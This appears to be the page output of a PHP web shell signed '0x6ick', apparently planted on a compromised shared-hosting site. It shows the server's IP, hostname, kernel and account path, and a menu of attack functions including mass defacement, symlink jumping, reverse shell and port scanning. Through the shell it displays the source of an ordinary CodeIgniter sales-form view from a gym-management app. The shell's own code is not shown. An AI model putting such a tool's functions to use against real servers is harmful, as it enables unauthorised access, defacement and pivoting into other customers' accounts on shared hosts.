Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
sales
/
Viewing: index.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Nueva Venta <?php $this->endSection(); ?> <?php $this->section('css'); ?> <link rel="stylesheet" href="<?= base_url('assets/DataTables/datatables.min.css'); ?>"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/awesomplete@1.1.5/awesomplete.min.css" /> <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-box"></i> Ventas</h1> <p>Nueva Venta</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin'); ?>">Admin</a></li> <li class="breadcrumb-item"><a href="#">Nueva venta</a></li> </ul> </div> <div class="card"> <div class="card-body"> <?php if (session()->getFlashdata('fail')) { ?> <div class="alert alert-danger border-0 bg-danger alert-dismissible fade show py-2"> <div class="d-flex align-items-center"> <div class="font-35 text-white"><i class='bx bxs-check-circle'></i> </div> <div class="ms-3"> <h6 class="mb-0 text-white">Respuesta</h6> <div class="text-white"><?= session()->getFlashdata('fail'); ?></div> </div> </div> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php } ?> <div class="row"> <div class="col-md-9"> <div class="input-group"> <input type="text" class="form-control" id="product" name="product" placeholder="Buscar Producto"> <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#modalProducto" type="button"><i class="bi bi-plus-circle"></i></button> </div> </div> <?php if (has_permission('Ventas:ver')) { ?> <div class="col-md-3"> <a class="btn btn-primary w-100" href="<?= base_url('admin/sales/records'); ?>">Historial</a> </div> <?php } ?> </div> <div class="table-responsive mt-3"> <table class="table table-striped align-middle" id="saleDetailsTable"> <thead> <tr> <th>Producto</th> <th>Precio</th> <th>Cantidad</th> <th>Total</th> <th>Acción</th> </tr> </thead> <tbody> <!-- Productos agregados aparecerán aquí --> </tbody> </table> </div> <div class="row"> <div class="col-md-6"> <div class="mb-3 p-3 rounded shadow-sm border bg-white"> <label for="payment_type" class="form-label text-muted small fw-bold text-uppercase">Tipo de Pago *</label> <select class="form-select mb-3" id="payment_type"> <option value="contado">🛒 CONTADO</option> <option value="credito">💳 CRÉDITO</option> </select> <label for="payment_method_id" class="form-label text-muted small fw-bold text-uppercase">Método de Pago *</label> <select class="form-select select2" id="payment_method_id"> <?php foreach ($paymentMethods as $paymentMethod) { ?> <option value="<?= $paymentMethod['id']; ?>"><?= $paymentMethod['name']; ?></option> <?php } ?> </select> </div> <div class="mb-3 p-3 rounded shadow-sm border bg-white" id="cashBoxSection"> <label for="box_id" class="form-label text-muted small fw-bold text-uppercase">Caja *</label> <select class="form-select select2" id="box_id"> <option value="">Seleccionar</option> <?php foreach ($boxes as $box) { ?> <option value="<?= $box['id']; ?>"><?= $box['name'] . ' - ' . $box['opening_date']; ?></option> <?php } ?> </select> </div> <div class="mb-3 p-3 rounded shadow-sm border bg-white" id="creditSection" style="display: none;"> <label for="initial_payment" class="form-label text-muted small fw-bold text-uppercase">Abono Inicial</label> <input type="number" class="form-control mb-3" id="initial_payment" min="0" step="0.01" value="0" placeholder="Ingrese el abono inicial"> <div class="alert alert-warning mb-0"> El saldo restante se enviará a <strong>Cuentas por Cobrar</strong> automáticamente. </div> </div> <div class="mb-3 p-3 rounded shadow-sm border bg-white"> <input type="hidden" id="client_id"> <label class="form-label text-muted small fw-bold text-uppercase">Cliente *</label> <div class="input-group"> <input type="text" class="form-control" disabled id="client" name="client" placeholder="Buscar Cliente *"> <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#modalCliente" type="button"><i class="bi bi-plus-circle"></i></button> </div> </div> </div> <div class="col-md-6 text-end"> <div class="mb-3 d-flex justify-content-end align-items-center"> <label for="discount_perc" class="form-label text-muted small fw-bold text-uppercase me-2 mb-0">Descuento (%)</label> <input type="number" class="form-control text-end" id="discount_perc" min="0" max="100" step="0.01" value="0" style="width: 120px;"> </div> <h5 class="text-muted">Subtotal: <?= esc(get_currency()); ?> <span id="subtotalAmount">0.00</span></h5> <h5 class="text-danger">Descuento: - <?= esc(get_currency()); ?> <span id="discountValue">0.00</span></h5> <h3 class="text-primary fw-bold">Total: <?= esc(get_currency()); ?> <span id="totalAmount">0.00</span></h3> </div> </div> <div class="text-end mt-3"> <a href="<?= base_url('admin/sales/records'); ?>" class="btn btn-danger">Cancelar</a> <button type="button" class="btn btn-primary" id="btnComplete">Completar Venta</button> </div> </div> </div> <div class="modal fade" id="modalProducto" tabindex="-1" data-bs-backdrop="static" data-bs-keyboard="false" role="dialog" aria-labelledby="modalTitleId" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"> Productos </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="row mb-3"> <div class="col-md-6"> <label class="form-label text-muted small fw-bold text-uppercase">Filtrar por Categoría</label> <select class="select2" id="modal_filter_category" style="width: 100%;"> <option value="">Todas las Categorías</option> <?php foreach ($categories as $category): ?> <option value="<?= $category['id'] ?>"><?= esc($category['name']) ?></option> <?php endforeach; ?> </select> </div> <div class="col-md-6"> <label class="form-label text-muted small fw-bold text-uppercase">Filtrar por Bodega</label> <select class="select2" id="modal_filter_warehouse" style="width: 100%;"> <option value="">Todas las Bodegas</option> <?php foreach ($warehouses as $warehouse): ?> <option value="<?= $warehouse['id'] ?>"><?= esc($warehouse['name']) ?></option> <?php endforeach; ?> </select> </div> </div> <div class="table-responsive"> <table class="table table-striped align-middle nowrap" style="width: 100%;" id="tblProducts"> <thead> <tr> <th>Item</th> <th>Barcode</th> <th>Nombre</th> <th>Precio Venta</th> <th>Precio Compra</th> <th>Cant</th> <th>Acción</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-danger" data-bs-dismiss="modal"> Cancelar </button> </div> </div> </div> </div> <div class="modal fade" id="modalCliente" tabindex="-1" data-bs-backdrop="static" data-bs-keyboard="false" role="dialog" aria-labelledby="modalTitleId" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"> Clientes </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="table-responsive"> <table class="table table-striped align-middle nowrap" style="width: 100%;" id="tblUsuarios"> <thead> <tr> <th>Item</th> <th>Correo</th> <th>Nombre</th> <th>Teléfono</th> <th>Accion</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-danger" data-bs-dismiss="modal"> Cancelar </button> </div> </div> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script src="https://cdn.jsdelivr.net/npm/awesomplete@1.1.5/awesomplete.min.js"></script> <script src="<?= base_url('assets/DataTables/datatables.min.js'); ?>"></script> <script src="<?= base_url('assets/admin/js/pages/sales.js'); ?>"></script> <script src="<?= base_url('assets/admin/js/pages/search-products.js'); ?>"></script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick